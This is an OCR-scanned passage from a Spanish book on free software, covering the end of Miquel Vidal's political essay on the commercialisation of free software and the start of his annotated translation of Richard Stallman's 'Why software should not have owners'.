de si el software -y, en general, el saber humano- puede o no puede ser
privatizado. Mientras para el sector pragmatico esto no es relevante,
para Stallman y quienes abogan por la vision ética esto es una cuestion
central e innegociable: el software, a diferencia de los bienes materiales,
no puede ser poseido, pues puede ser disfrutado por un niimero inde-
terminado de personas sin que por ello haya que privar a nadie de
tenerlo a su vez.25 Ese es el nucleo del dilema, de la diferencia, y el que
comporta acercamientos tan dispares al software libre.

La teoria de juegos funciona a nivel estadistico y se basa en estrate-
gias inconscientes de base algoritmica (las pueden ejecutar maquinas,
genes o seres humanos): no aplica pues criterios morales o finalistas ni
trata de dar cuenta de los casos particulares, ni de las motivaciones de
cada cual para cooperar o0 para ser egoista, sino que nos ofrece algo mas
sutil y valioso: la comprension de un proceso y el cuestionamiento de un
mito capitalista y neoliberal, el del juego sucio y el “todos contra todos”,
el de que es mejor que cada uno vaya a lo suyo y solo se atienda a los
intereses privados. Las conclusiones de la teoria de juegos —pese a care-

24. “No hay escasez de musicos profesionales que sigan en lo suyo aunque no ten-
gan esperanzas de ganarse la vida de esta forma. [...] Durante mas de diez afios,
varios de los mejores programadores del mundo trabajaron en el Laboratorio de
Inteligencia Artificial [del MIT] por mucho menos dinero del que podian ganar en
otras partes. Ellos obtenian varios tipos de premios no monetarios: fama y aprecio,
por ejemplo. Y la creatividad también se disfruta, es un premio en si mismo.”
(Richard Stallman, “El Manifiesto GNU”)

25. “Como no me gustan las consecuencias que resultan si todos acapararan infor-
macion, debo considerar como erréneo que alguien lo haga. Especificamente, el
deseo de ser recompensado por la creatividad de uno no justifica el privar al
mundo en general de toda o parte de esa creatividad.” (Richard Stallman, “El
Manifiesto GNU”, 1985).
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cer de finalidad moral- nos ofrece un resultado optimista y alentador
para una ética materialista (no moralista ni religiosa). La teoria de jue-
gos y el software libre podrian ser la punta de lanza de un nuevo mito, el
mito de compartir, el de la cooperacion y la ayuda mutua. Podria anun-
ciar la saludable idea de que incluso con individuos egoistas al mando,
y en palabras del biélogo Dawkins, “los buenos chicos acaban primero”.

No obstante, hay también razones para pensar que si el enfoque
pragmatico, apolitico, también llamado “cooperacién egoista”, se acaba
imponiendo, dafiara a la comunidad del software libre, que podria aca-
bar siendo recuperada por el capitalismo posfordista, del mismo modo
gue recupera el general intellect (la cooperacion y el saber social general)
y lo pone al servicio de la extraccién de beneficio privado. Otros, sin
embargo, apuestan por la coexistencia de ambas tendencias, y piensan
gue mientras la postura egoista se avenga a cooperar dentro de las
reglas del software libre no habra nada que temer. Ese debate lo abor-
daré en el siguiente epigrafe.

8. Desafios e interrogantes

“El interés en el software crece mas rapido que la
conciencia acerca de la filosofia sobre la cual esta
basado, y esto crea problemas. Nuestra capacidad de
enfrentar los desafios y amenazas al software libre
depende de la voluntad de mantenerse firmes del
lado de la libertad. Para asegurarnos de que nuestra
comunidad tiene esta voluntad, necesitamos esparcir
la idea entre los nuevos usuarios a medida que ellos
llegan a nuestra comunidad. Pero estamos fracasan-
do en esto: los esfuerzos realizados para atraer nue-
VOs usuarios a nuestra comunidad sobrepasan de
lejos a los esfuerzos dedicados a la ensefianza civica
acerca de nuestra comunidad. Necesitamos hacer
ambas cosas, Yy es necesario que mantengamos ambos
esfuerzos equilibrados.”

Richard Stallman

Entre 1997 y 1998 se producen tres acontecimientos que, a juicio de
muchos, inauguran un nuevo periodo en el ambito del software libre: la
publicacién de La catedral y el bazar; la liberacién del cédigo fuente de
Netscape y la foto de Linus Torvalds en la portada de la revista Forbes.
Convencionalmente, se considera que esos tres hitos despertaron el
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interés y dieron pie a la entrada masiva de las grandes empresas en el
mundo del software libre. Esta nueva etapa esta llena de sombrios inte-
rrogantes, por mucho que algunos la describan triunfalmente, y proba-
blemente van a generar nuevos focos de antagonismo. Algunas grandes
empresas han comenzado a contratar hackers (lo cual no es nuevo) para
llevar a cabo desarrollos de software libre (esto si lo es). Trabajos que
antes se hacian sin interés econémico directo ahora empiezan a estar
financiados por empresas. Proyectos cuya motivacién era la necesidad o
el deseo de los hackers y de la comunidad de usuarios de software libre,
ajena al mercado, ahora pueden empezar a estar condicionados por las
necesidades, los ritmos y las prioridades de las empresas que financian
esos proyectos.26 Modestos negocios que basaban sus ingresos en ser-
vicios relacionados con el software libre se han convertido de la noche a
la mafiana en grandes empresas que han salido a bolsa con capital-ries-
go. Algunas empresas que basan su negocio en el software libre se estan
dedicando a comprar empresas mas pequefias y a su vez son compra-
das por otras mayores, produciéndose la creacion de grandes emporios.
Ese trajin de compraventa incluye sitios estratégicos para la comunidad
como medios de comunicacién o repositorios de software: Andover
compra Slashdot y Freshmeat; VA Linux compra Andover;, RedHat
compra Cygnus, etc. ;Addnde conduce esa concentraciéon empresarial?
¢ Qué pinta la gente de a pie en todo este tinglado?

Hasta ahora, en la comunidad del software libre todo esto no se
aprecia como una amenaza, ni siquiera como un problema, antes al con-
trario: alguna gente se ha esforzado mucho para convencer a las empre-
sas de la viabilidad capitalista del modelo, y ahora empiezan a recoger-
se los frutos. ; COmo vamos a oponernos ahora a que las empresas ganen
dinero con el modelo, siempre y cuando mantengan las reglas del juego,
es decir, produzcan o financien software libre?

26. Un admirado hacker, que coordina un estratégico proyecto de software libre,
me comentaba en privado recientemente que hasta hace un afio se levantaba por la
mafiana y se ponia a escribir lo que le apetecia o si no le apetecia no escribia nada.
Ahora, en su empresa, él sigue trabajando con software libre pero cuando se levan-
ta por la mafiana debe consultar su agenda y ponerse a escribir lo que le piden sus
clientes. Aunque en ambos casos, antes y ahora, estd produciendo software libre, la
diferencia a su juicio es muy notable.
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Ni tenemos perspectiva ni ha pasado tiempo suficiente (apenas dos
afios) para valorar lo que va a suponer la irrupcion masiva de capi-
tal fuerte y de transnacionales en el software libre. Mi apreciacion
personal es que, a diferencia de otras cuestiones en que se mantiene
una actitud critica y muy alerta (como la legislacion sobre patentes),
en este crucial asunto hay excesiva fe en las bondades del mercado y
del libre comercio. Es cierto que hasta ahora se ha conseguido doble-
gar a verdaderos gigantes, pero ahora la situacion es distinta porque
con el modelo de “cooperacion egoista” -y qué mayor paradigma de
la cooperacién egoista que el de la empresa capitalista— esas em-
presas juegan a estar “dentro”. Se puede pasar facilmente de la coo-
peracion sin mando a la cooperacién sujetada, la cooperaciéon con
mando.

Se presupone, en contra de toda evidencia histérica anterior, que lo
gue es bueno para las empresas es también bueno para las personas. Y
el axioma no es ese, sino uno mas tautolégico pero también mas
exacto: lo que es bueno para las empresas es bueno para las empresas. Y nada
mas. Bien es cierto que, a veces, aquello que genera beneficio empresa-
rial es reutilizado para procurar beneficios sociales, pero esto es
colateral (como un epifendmeno) y es atrozmente ingenuo confiar a
priori en que va a ser asi. La confusién entre lo que es bueno para las
empresas (la acumulacion de capital y la extraccion de beneficio econé-
mico por encima de cualquier otra consideracién) y lo que es bueno
para la gente (la produccion de bienes publicos y de riqueza social para
la vida en comunidad) puede ser desastrosa. Todo el interés del capitalis-
mo en el software libre es convertirlo en una maguina mas de hacer dinero, pero
como con todo lo demas si lo consigue probablemente sera a costa de
vaciarlo de todo contenido liberador.

El sector que va mas alla de la superioridad técnica y que realiza
una apuesta por la dimension ética del software libre, confia en la
fortaleza del movimiento y de momento no se percibe alarma alguna en
este sentido. Se considera que el modelo de produccién del software
libre no puede ser privatizado y recuperado por el mercado, que esta
blindado juridicamente (la GPL), técnicamente (la superioridad en varios
ordenes de magnitud de lo creado mediante el modelo bazar frente a
sistemas propietarios) y politicamente (algunos de los mas significativos
promotores del software libre provienen de movimientos contracultu-
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rales o simpatizan con causas pro derechos civiles).27

No obstante y compartiendo esa confianza en la potencia de la
comunidad y su capacidad de respuesta, demostrada ampliamente
hasta ahora, no hay razén para desechar una lectura mas critica que nos
haga cuando menos estar alerta y no relajarnos ante los éxitos y los can-
tos de sirena que vienen de fuera: el capitalismo ha sido capaz de “recu-
perar”, privatizar y mercantilizar casi todos los aspectos de la produc-
cion y de la vida, desde lo material a lo inmaterial. ;Por qué no va a
poder hacer lo mismo con el software libre? De hecho, hay ya bastantes
indicios que apuntan a la “recuperacién” mercantilista de la capacidad
de innovacioén del hacker. El asalto masivo de las grandes empresas, con
perspectiva exclusivamente mercantil, podria verse como un
“troyano”28 introducido en el software libre y que, con el tiempo, para-
site y desactive la potencia de la comunidad. ;De qué modo? La confu-
sién con el tema de las licencias, por ejemplo, esta debilitando progresi-
vamente la filosofia de fondo del software libre (por eso la FSF se esfuer-
za tanto en explicar las diferencias entre unas y otras), haciendo que
algunas empresas hagan pasar por libres desarrollos que no lo son, o
bien popularizando distribuciones comerciales “Linux” que mezclan
software propietario con la base libre del sistema GNU/Linux. Lo pri-
mero —la confusion con las licencias— puede causar desconfianza entre
los desarrolladores, que teman que su trabajo pueda ser finalmente rea-
propiado y privatizado, y lo segundo -las distribuciones GNU/Linux
que afiaden software no libre- tapona el desarrollo de opciones libres
que reemplacen esas soluciones propietarias y se legitima software pro-
pietario como si por el hecho de funcionar bajo GNU/Linux fuese

27. Ver articulo de Aris Papathéodorou y Laurent Moineau, “Coopération et pro-
duction immaterielle dans le logiciel libre”, en Multitudes, N° 1, marzo de 2000
(hay versién en internet: http://multitudes.samizdat.net/article.php3?id_arti-
cle=212&var_recherche=Papatheodorou/)

[hay trad. cast.: "Cooperacion y produccion inmaterial en el software libre",
http://sindominio.net/biblioweb/telematica/cooperacion.html].

28. No es solo una metéfora: un “troyano”, en este contexto, seria un tipo particu-
lar de meme. El meme seria la idea del mercado como motor de la economia y dina-
mizador del software libre. En esa hipotesis, el troyano incorporado en el meme lo
“vampiriza”, se propaga con él, y acabaria reduciendo el software libre a una pieza
més del gran supermercado global en que se esta convirtiendo gran parte de
Internet.
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“menos propietario” y mas aceptable. Por su parte, la Open Source
Initiative (OSI) no ha ayudado mucho a aclarar este panorama. Surgio
como propuesta de algunos hackers para acabar con una ambigtedad
(free en inglés, significa “libre” pero también “gratis™) y con un término
gue al parecer disuadia a las empresas, pero a cambio ha introducido
otras tal vez peores: con el concepto open source (“fuente abierta”) que
proponen como sustituto a “software libre” se pone solo el acento en
que el cédigo fuente esté disponible, sin incidir en las otras dos liberta-
des (poder copiar y poder redistribuir libremente). Es decir para solu-
cionar una ambigUedad, se ha creado otra mayor.

Otro problema derivado del troyano de la mercantilizacion son los
agravios comparativos que pueden producirse entre hackers que cobran
de multinacionales mucho dinero por el mismo trabajo y proyecto en
gue otros participan sin cobrar. También hemos citado el peligro de que
las empresas marquen las prioridades de desarrollo y que se privatice el
conocimiento. Esto dltimo —la privatizacion del conocimiento- entronca
con dos de los problemas mas graves con los que se debe medir el
software libre: 1) la poca o nula disponibilidad de los fabricantes a faci-
litar informacion técnica relevante sobre sus dispositivos, ni a fabricar
drivers para GNU/Linux que permitan utilizar los nuevos dispositivos
gue van apareciendo en el mercado; y 2) las patentes del software, como
forma de privatizacion de las ideas, verdadera amenaza para el
software libre, ya que obligan a esperar durante afios a que expiren
patentes de invencion que son cruciales para poder utilizar determina-
dos programas.

Algunas de esos elementos, o varios combinados entre si, podrian
desmoronar la cooperacién sin mando y, por tanto, la comunidad de
software libre tal y como hoy la conocemos: y si no hay comunidad, no
hay software libre; puede haber fuentes abiertas y publicas incluso, pero
no software libre. Se hace pues cada vez mas necesario un analisis poli-
tico del software libre que lleve a una toma de postura politica o, si se
prefiere, a una apuesta ética que no ponga en primer lugar la conve-
niencia o la mera instrumentalizacidon de si es mejor o peor que las
opciones propietarias. Estamos ante un fenémeno que escapa claramen-
te a los parametros clasicos de la economia politica y de la ideologia:
escapa a los parametros ideol6gicos al uso, pues ni acaba de encajar en
una visién antagonista —hay grandes dosis de pragmatismo y no existe
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una vision decididamente anticapitalista— y tampoco encaja en el neoli-
beralismo puro y duro —la libertad absoluta es un valor fundamental del
movimiento, si, pero no el Unico pues hay también principios éticos
acerca de lo publico, del apoyo mutuo y del acceso igualitario y hori-
zontal a los recursos del conocimiento y en contra de la privatizacion del
saber humano. Es una nueva nocién de bien publico, no tutelado por el
mercado ni por el Estado: es un nuevo espacio publico no estatal. No hay
duda de que un nuevo modelo de cooperacion social productiva ha sur-
gido en torno al software libre: falta saber lo que dara de si esa comuni-
dad, ademaés de buenas herramientas informaticas, y si este nuevo para-
digma podra extenderse a otros sectores de la produccion inmaterial.
Estamos pues ante una verdadera contienda politica, que no esta gana-
da ni mucho menos, y que requiere determinacion y apoyo al software
libre y una lucha decidida contra las patentes de software y demas leyes
sobre la propiedad intelectual que previsiblemente podrian detener su
avance.29 Me gustaria acabar citando unas palabras de los paleoantro-
poélogos Carbonell y Sala, del proyecto Atapuerca, pues me parecen un
magnifico colofon que de algin modo resume y explica dénde reside la
singularidad y la potencia del software libre: “No es la humanizacién de la
tecnologia lo que debemos buscar, sino su socializacion. No es posible humani-
zar algo que es exclusivamente humano. La socializacion es lo que permite un
crecimiento exponencial de las capacidades humanas.”30

9. Reconocimientos

29 “Las leyes de propiedad intelectual han corrompido completamente las ins-
tituciones econdémicas, ya que muchas corporaciones dependen de un modo
crucial del monopolio de la informacién, también en el origen de grandes for-
tunas, mas que de la prestacion de servicios reales. No deben realizarse com-
promisos con estas leyes, y debe lucharse contra su justificacion, habitualmen-
te erronea. Este es el principio fundamental de la filosofia del software libre.
[...] Es dificil luchar contra prejuicios que sirven para justificar enormes inte-
reses financieros, por supuesto. Hace falta ser muy estricto precisamente por-
que la tarea es muy dura.” (Frangois René Rideau, “Sobre los articulos de Eric
S. Raymond”)

30 Eudald Carbonell y Robert Sala, Planeta huma, Barcelona, Empduries, 2000
[hay trad. cast.: Planeta humano. Barcelona, Peninsula, 2000].
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Sin la propuesta primero y la insistencia después de la Oficina 2004
de Barcelona para escribir esta introduccién politica al software libre,
probablemente nunca me habria puesto a ello. Al primero que escuché
explicar con claridad la diferencia entre el acercamiento ético y el prag-
matico al software libre fue a Jesis Gonzalez-Barahona. Buena parte de
las ideas expresadas en la seccidn “Desafios e interrogantes” son fruto
de mis frecuentes conversaciones con Marga Padilla, de quien tanto he
aprendido a lo largo de muchas horas de hackin’ -y de vida— comparti-
das durante estos tres dltimos afios. Agradezco también la atenta lectu-
ra que Luis Pueyo hizo de la version preliminar de este articulo, cuyas
criticas, comentarios y sutiles observaciones sin duda han mejorado el
texto final. Por ultimo, but not least, la confianza y el apoyo del CSOA el
Laboratorio a la telemdtica antagonista me ha permitido aprender a
socializar el conocimiento y ha demostrado que son posibles en un cen-
tro social okupado proyectos estables de autoproduccién basados en
nuevas tecnologias.

Lavapiés, Madrid
Agosto de 2000

Copyright 2000 Miquel Vidal

Se otorga permiso para copiar, distribuir y/o modificar este documento bajo
los términos de la Licencia de Documentacion Libre GNU, versién 1.1 o cual-
quier versidn posterior publicada por la Free Software Foundation. Se consi-
derara como Secciones Invariantes todo el documento, no habiendo Textos de
Portada ni Textos de Contraportada. Puedes consultar una copia de la licencia
en http://www.gnu.org/licenses/gpl.html
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Rlchard Stallman es un prestigioso hacker

neoyorquino. El editor Emacs es su creacion mas
famosa. Naci6 en 1954, se gradu6 en Harvard en 1971
y trabajé en el laboratorio de Inteligencia Artificial del
MIT hasta principios de los ‘80. Cuando la mayoria de
sus comparfieros partié en busca de empleo en grandes
empresas, decidi6 iniciar el proyecto GNU para mante-
ner vivo el espiritu de colaboracién y trabajo colectivo de
los primeros hackers. En la actualidad lidera la Free
Software Foundation (Fundacion Software Libre) que
promueve la democratizacion del acceso a los programas
y las nuevas tecnologias.

|_a seleccion de notas y articulos que aqui se presenta,

redne intervenciones realizadas por Stallman en distin-
tos medios acerca de temas vinculados con la idea del
software libre y sus implicaciones en otros ambitos de la
cultura y la economia, como la educacion, las leyes de
derechos de autor y las politicas estatales sobre patentes.
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Por qué el software no debe tener
propietarios*

Richard M. Stallman
notas de Miquel Vidal

Las tecnologias digitales de la informacion contribuyen al mundo
haciendo que sea maés facil copiar y modificar informacién. Los ordena-
dores prometen hacer esto mas facil para todos.

Pero no todo el mundo quiere que sea mas facil. El sistema del
copyright permite que los programas de software tengan “propieta-
rios”, la mayor parte de los cuales pretenden privar al resto del mundo
del beneficio potencial del software. Los propietarios desearian ser los
Unicos con capacidad para copiar y modificar el software que usamos.

El sistema de copyright creci6 con la imprenta —una tecnologia para
la produccién masiva de copias. El copyright se ajustaba bien a esta tec-
nologia puesto que era restrictiva sélo para los productores masivos de
copias. No privaba de libertad a los lectores de libros. Un lector cual-
quiera, que no poseyera una imprenta, sélo podia copiar libros con
plumay tinta, y a pocos lectores se les ponia un pleito por ello.

Las tecnologias digitales son mas flexibles que la imprenta: cuando
la informacién adopta forma digital, se puede copiar facilmente para
compartirla con otros. Es precisamente esta flexibilidad la que se ajusta
mal a un sistema como el del copyright. Esa es la razén del incremento
de medidas perversas y draconianas que se emplean en la actualidad
para hacer cumplir el copyright del software. Consideremos estas cua-
tro précticas de la Software Publishers Association [SPA1]:

* “Why software should not have owners”. Articulo de divulgacion del proyecto
GNU (http://www.gnu.org). Traduccién de Stan Bark. Revision y notas de Miquel
Vidal realizada para la revista Archipiélago, mayo de 2001.

1. Software Publisher’s Association (Asociacion de Editores de Software). Al igual que
la BSA (Bussiness Software Alliance) —que se comporta en términos estrictos como

[71]
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Propaganda masiva afirmando que est4d mal desobedecer a los
propietarios para ayudar a un amigo.

Pedir a la gente que se conviertan en soplones para delatar a
sus colegas y compafieros de trabajo.

Redadas (con ayuda policial) en oficinas y escuelas, en las que
la gente debe probar que son inocentes de hacer copias ilegales.

El proceso judicial por parte del gobierno de los EE.UU., a peticion
de la SPA, de personas como David LaMacchia, del MIT, no por copiar
software (no se le acusa de copiar nada), sino sencillamente por dejar
sin vigilancia equipos de copia y no censurar su uso.

Cada una de estas cuatro practicas se asemeja a las usadas en la
antigua Unidn Soviética, donde todas las copiadoras tenian un vigilan-
te para prevenir copias prohibidas, y donde las personas tenian que
copiar informacién en secreto y pasarla mano a mano en forma de
“samizdat”. Por supuesto hay una diferencia: el motivo para el control
de informacién en la Unidn Soviética era politico; en los EE.UU. el moti-
vo es el beneficio econémico. Pero son las acciones las que nos afectan,
no el motivo. Cualquier intento de bloquear el compartir informacion,
no importa la causa, lleva a los mismos métodos y a la misma dureza.

Los propietarios utilizan diversos argumentos para que se les con-
ceda el control del modo en que usamos la informacion:

Insultos

Los propietarios usan palabras difamatorias como “pirateria” y
“robo”, al igual que terminologia técnica como “propiedad intelectual”
y “dafio”, para sugerir una cierta linea de pensamiento al pdblico —una
analogia simplista entre programas y objetos fisicos.

una organizacion parapolicial- es ya legendaria la beligerancia de la SPA contra la
llamada “pirateria”: ejerce todo tipo de presiones, mentiras y amenazas que luego
sirven de modelo a aprendices de policias como la SGAE espafiola;
invita a la gente a informar sobre sus compafieros y amigos, y promueve una poli-
tica de “responsabilizacién”, en la que los duefios de ordenadores deben hacer
cumplir activamente las leyes de copyright, si no quieren ser castigados. En 1996,
en su clasico “El derecho a leer” (en
http://sindominio.net/biblioweb/telematica/derecho_leer.html), el propio Stallman
ya avisaba de como la SPA estaba amenazando a pequefios proveedores de
Internet, exigiéndoles que les permitieran espiar a sus usuarios. Muchos provee-
dores se rinden cuando les amenazan, porque no pueden permitirse litigar en los
tribunales. [M.V.]
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Nuestras ideas e intuiciones acerca de la propiedad sobre los objetos
materiales suelen referirse a si es justo quitarle un objeto a alguien. No
se aplican directamente a hacer una copia de algo. Pero los propietarios
nos piden que las apliquemos en cualquier caso.

Exageracién

Los propietarios dicen que sufren un “dafio” o “pérdida econémica”
cuando los usuarios copian programas por su cuenta. Pero el copiar no
tiene un efecto directo sobre el propietario, y no hace dafio a nadie. El
propietario s6lo puede perder si la persona que hizo la copia hubiese
pagado por una del propietario en su lugar.

Un minimo de reflexion muestra que la mayoria de tales personas no
habrian comprado esas copias. Aun asi los propietarios calculan sus
“pérdidas” como si todos y cada uno hubiesen comprado una copia.
Esto es una exageracion —por decirlo de una manera suave.

Laley

Los propietarios a menudo describen el estado actual de la ley, asi
como las duras sanciones con las que nos amenazan. En este enfoque va
implicita la sugerencia de que la ley actual refleja un punto de vista
moral incuestionable —y aun asi, al mismo tiempo, se nos insta a consi-
derar estas sanciones como hechos naturales por los que no se puede
responsabilizar a nadie.

Esta linea de persuasién no esta disefiada para defenderse ante el pen-
samiento critico; estd concebida para reforzar un lugar coman.

Es evidente que las leyes no distinguen lo que esta bien de lo que esta
mal. Todo estadounidense deberia saber que, hace cuarenta afios, iba
contra la ley que un persona de raza negra se sentase en la parte delan-
tera del autobus; pero solamente los racistas dirian que sentarse ahi no
estaba bien.

Derechos naturales

Los autores a menudo sostienen que existe una conexién especial con
los programas que han escrito, y afiaden que, en consecuencia, sus
deseos e intereses respecto al programa simplemente prevalecen sobre
aquellos de cualquier otra persona -0 incluso de los del resto del
mundo. (Normalmente son las empresas, no los autores, los que retie-
nen los copyrights sobre el software, pero se espera de nosotros que
ignoremos esta discrepancia.)
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A quienes proponen esto como un axioma ético —el autor es més
importante que td- sélo les puedo decir que yo mismo, un notable autor
de software,2 lo considero una tonteria.

Pero la gente por lo general sélo suele sentir alguna simpatia hacia los
derechos naturales por dos razones.

Una razén es una analogia forzada entre el software y los objetos
materiales. Cuando yo cocino spaghettis, me quejo si otra persona se los
come, porque entonces yo ya no me los puedo comer. Su accion me
duele exactamente tanto como lo que le beneficia a él; s6lo uno de no-
sotros se puede comer los spaghettis, asi que la pregunta es: ;quién? La
mas minima distincién entre alguno de nosotros es suficiente para incli-
nar la balanza ética.

Pero el hecho de que tu ejecutes o modifiques un programa que yo he
escrito te afecta a ti directamente y a mi indirectamente. Si td le das una
copia a tu amigo te afecta a ti y a tu amigo mucho mas que lo que me
afecta a mi. Yo no deberia tener el poder de decirte que no hagas estas
cosas. Nadie deberia.

La segunda razoén es que a la gente se le ha dicho que los derechos
naturales de autor son una tradicion aceptada e indiscutida de nuestra
sociedad.

Desde un punto de vista historico, sucede justamente lo contrario. La
idea de los derechos naturales de autor fue propuesta y decididamente
rechazada cuando se concibi6 la Constitucion de EE.UU. Esa es la razén
por la que la Constitucién sélo permite un sistema de copyright y no
requiere uno; por esa razéon dice que el copyright debe ser temporal.
Establece asimismo que el propésito del copyright es promocionar el
progreso —no recompensar a los autores. El copyright recompensa a los
autores en cierta medida, y a los editores mas, pero se concibe como un
medio de modificar su comportamiento.

La tradicién realmente establecida de nuestra sociedad es que el
copyright vulnera los derechos naturales del publico -y que esto solo se
puede justificar por el bien del puablico.3

2. Evidentemente Stallman peca aqui de modestia pues es mucho mas que un “nota-
ble programador”: suyas son algunas de las mejores piezas de software hoy exis-
tentes, como el editor Emacs, el compilador GCC y el depurador GDB. [M.V.]

3. Stallman se dedicé extensamente a demostrar esta idea —que el copyright es un
derecho artificial que viene a regular el derecho natural a la copia— en la conferen-
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Economia

El ultimo argumento que se emplea para justificar la existencia de los
propietarios de software es que esto lleva a la produccion de mas
software.

A diferencia de los anteriores, este argumento por lo menos adopta un
enfoque legitimo sobre el tema. Se basa en un objetivo véalido —satisfacer
a los usuarios de software. Y est4d empiricamente demostrado que la
gente producird mas de algo si se les paga bien por ello.

Pero el argumento econémico tiene un defecto: se basa en la presun-
cion de que la diferencia es sélo cuestion de cuanto dinero debemos
pagar. Asume que la “produccién de software” es lo que queremos,
tenga el software propietarios o no.

La gente acepta gustosamente esta presuncion porque esta de acuer-
do con nuestra experiencia acerca de los objetos materiales. Considérese
un bocadillo, por ejemplo. Es posible que puedas conseguir un bocadi-
llo equivalente bien gratis o por un precio. Si es asi, la cantidad que
pagas es la Unica diferencia. Tanto si lo tienes que comprar como si no,
el bocadillo tiene el mismo sabor, el mismo valor nutricional y en ambos
casos te lo puedes comer s6lo una vez. El hecho de si el bocadillo lo
obtienes de un propietario o no, no puede afectar directamente a nada
maés que la cantidad de dinero que te queda después.

Esto es cierto para cualquier objeto material —el hecho de que tenga o
no tenga propietario no afecta directamente a lo que es, 0 a lo que pue-
das hacer con ello si lo adquieres.

Pero si un programa tiene un propietario, esto afecta en gran medida
alo que es, y a lo que puedes hacer con un copia si la compras. La dife-
rencia no es s6lo una cuestion de dinero. El sistema de propietarios de
software incentiva a los propietarios de software a producir algo —pero
no lo que la sociedad realmente necesita. Y causa una contaminacion
ética intangible que nos afecta a todos.

¢Qué es lo que la sociedad necesita? Necesita informacion que esté
verdaderamente a disposicion de sus ciudadanos —por ejemplo, progra-

cia que ofreci6 en julio de 2000 en la Universidad de Burdeos, en el marco de la
Conferencia de Debian, y que llevaba por titulo: “El copyright contra la comunidad
en la era de las redes de ordenadores”. Existe traduccién castellana en
http://sindominio.net/biblioweb/telematica/stallman-copyright.html. [M.V]
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mas que la gente pueda leer, arreglar, adaptar y mejorar, no solamente
ejecutar. Pero lo que los propietarios de software tipicamente ofrecen es
una caja hegra que no podemos ni estudiar ni modificar.

La sociedad también necesita libertad. Cuando un programa tiene
un propietario, los usuarios pierden la libertad de controlar una parte
de sus propias vidas.

Y sobre todo una sociedad necesita incentivar el espiritu de coope-
racion entre sus ciudadanos. Cuando los propietarios de software nos
dicen que ayudar a nuestros vecinos de una manera natural es “pirate-
ria”, estan contaminando el espiritu civico de nuestra sociedad.

Esto es por lo que decimos que el software libre es una cuestion de
libertad, no de precio.4

El argumento econémico para justificar la propiedad es erréneo,
pero la cuestién econémica es real. Algunas personas escriben software
atil por el placer de escribirlo o por la admiracién y amor al arte;5 pero
si queremos mas software del que esas personas escriben, necesitamos
conseguir fondos.

Desde hace ya diez afios, los desarrolladores de software libre han
probado varios métodos para recabar fondos, con algo de éxito. No hay
necesidad de hacer rico a nadie; los ingresos medios de una familia
media, alrededor de 35.000 délares, prueba ser incentivo suficiente para
muchos trabajos que son menos satisfactorios que programar.

Durante afios, hasta que una beca lo hizo innecesario, yo me gana-
ba la vida realizando mejoras a medida sobre software libre que yo
habia escrito. Cada mejora se afiadia a la version standard lanzada y asi,
finalmente, quedaban disponibles para el publico en general. Los clien-

4. En inglés, la polisemia del término free obliga a insistir en este punto y deshacer
la ambigliedad. En castellano disponemos de dos palabras —libre y gratis—, pero
muchas traducciones se encargan lamentablemente de mantener la confusion y
aun agravarla al traducir free por “gratis”, totalmente erréneo en este contexto:
existe software gratuito que es propietario (el navegador Microsoft Explorer, por
ejemplo) y nada impide vender el software libre, aunque ciertamente se debe ofre-
cer algo extra —normalmente en forma de servicios afiadidos— para que alguien
compre algo que puede obtener legitimamente sin pagar por ello. La gratuidad en
este caso es una consecuencia del modelo —en el que el programador puede que
haya cobrado por su trabajo—, pero de ningin modo es lo que define al software
libre. [M.V.]

5. Aunque resulte chocante a primera vista, no solo programadores sino algunos
tedricos consideran la programacion “una de las bellas artes” (De la programmation
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tes me pagaban para que trabajase en las mejoras que ellos querian, en
vez de en las caracteristicas que yo habria considerado la maxima prio-
ridad.

La Fundacién para el Software Libre, una entidad sin animo de
lucro exenta de impuestos para el desarrollo de software libre, consigue
fondos mediante la venta de CD-ROMs de GNU,6 camisetas, manuales
y distribuciones “deluxe” (todo lo cual los usuarios son libres de copiar
y modificar), asi como mediante donaciones. Ahora cuenta con un equi-
po de cinco programadores, y tres empleados [cuando se escribio el arti-
culo] que se encargan de los pedidos por correo.

Algunos desarrolladores de software libre ganan dinero mediante
la venta de servicios de soporte. Cygnus Support,” que cuenta con alre-
dedor de 50 empleados, estima que en torno al 15 por ciento de la acti-
vidad de su equipo es desarrollo de software libre —un porcentaje res-
petable para una compafia de software.

Algunas compafiias, incluyendo Intel, Motorola, Texas Instruments
y Analog Devices, han unido esfuerzos para financiar el desarrollo con-
tinuado del compilador GNU para el lenguaje C. Mientras, el compila-
dor GNU para el lenguaje Ada esta siendo financiado por la Fuerza

considérée comme une des beaux arts es precisamente el titulo de una obra de Pierre
Lévy). Por su parte Franco Berardi, Bifo, afirma en “Lavoro zero” [Trabajo cero] que
la programacion puede ser valorada no solo “como ejecucion de un proyecto pre-
definido, no como simple elaboracion de los procedimientos a través de los cuales
se pone en funcionamiento un cierto proceso, sino como redefinicion del contexto
mismo y como elaboracién de procedimientos afortunados.” [“Lavoro zero”, en
DeriveApprodi, Ao I, N° 3-4, Invierno-primavera de 1994] [M.V.]

6. El Proyecto GNU (acrénimo recursivo que significa GNU’s Not UNIX, o sea,
“GNU No es UNIX") naci6 en 1984 de la mano de Richard Stallman, por entonces
un hacker del emblematico Laboratorio de Inteligencia Artificial del Massachusetts
Institute Technology (MIT), cuna de grandes hackers. El proyecto GNU se propu-
so a la sazdn una tarea titanica: construir un sistema operativo libre completo. No
es sencillo expresar en pocas palabras la enorme dificultad que comporta un pro-
yecto asi, en principio sélo al alcance de unas cuantas compafiias con miles de pro-
gramadores a sueldo. [M.V.]

7. Cygnus fue la primera empresa importante que trabajé con software libre. Sus
aportaciones a la comunidad del software libre —liberando cédigo y manteniendo
herramientas criticas como el compilador C de GNU- han sido numerosas e impor-
tantes. En 1999 fue adquirida por Red Hat, una gran compafiia que basa por com-
pleto su modelo de negocio en el software libre. (N. del E.)
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Aérea de EE.UU., que cree que esta es la manera maés efectiva de conse-
guir un compilador de alta calidad.8

Todos estos ejemplos son modestos;® el movimiento de software
libre es pequefio y todavia joven. Pero el ejemplo de la radio “manteni-
da-por-la-audiencia”10 en los EE.UU. muestra que es posible mantener
una actividad grande sin forzar a cada usuario a pagar.

Como usuario de informatica hoy en dia, puede que estés utilizan-
do un programa propietario [proprietary program]. Si tu amigo te pide
hacer una copia, estaria mal negarse a ello. La cooperacion es mas
importante que el copyright. Pero una cooperacién clandestina, escon-
dida, no contribuye a mejorar la sociedad. Una persona deberia aspirar
a vivir una vida abiertamente con orgullo, y esto significa decir “No” al
software propietario [proprietary software].

Te mereces ser capaz de cooperar abierta y libremente con otras per-
sonas que usan software. Te mereces ser capaz de aprender como fun-
ciona el software, y ensefiar a tus estudiantes con él. Te mereces ser
capaz de contratar a tu programador favorito para arreglarlo cuando se
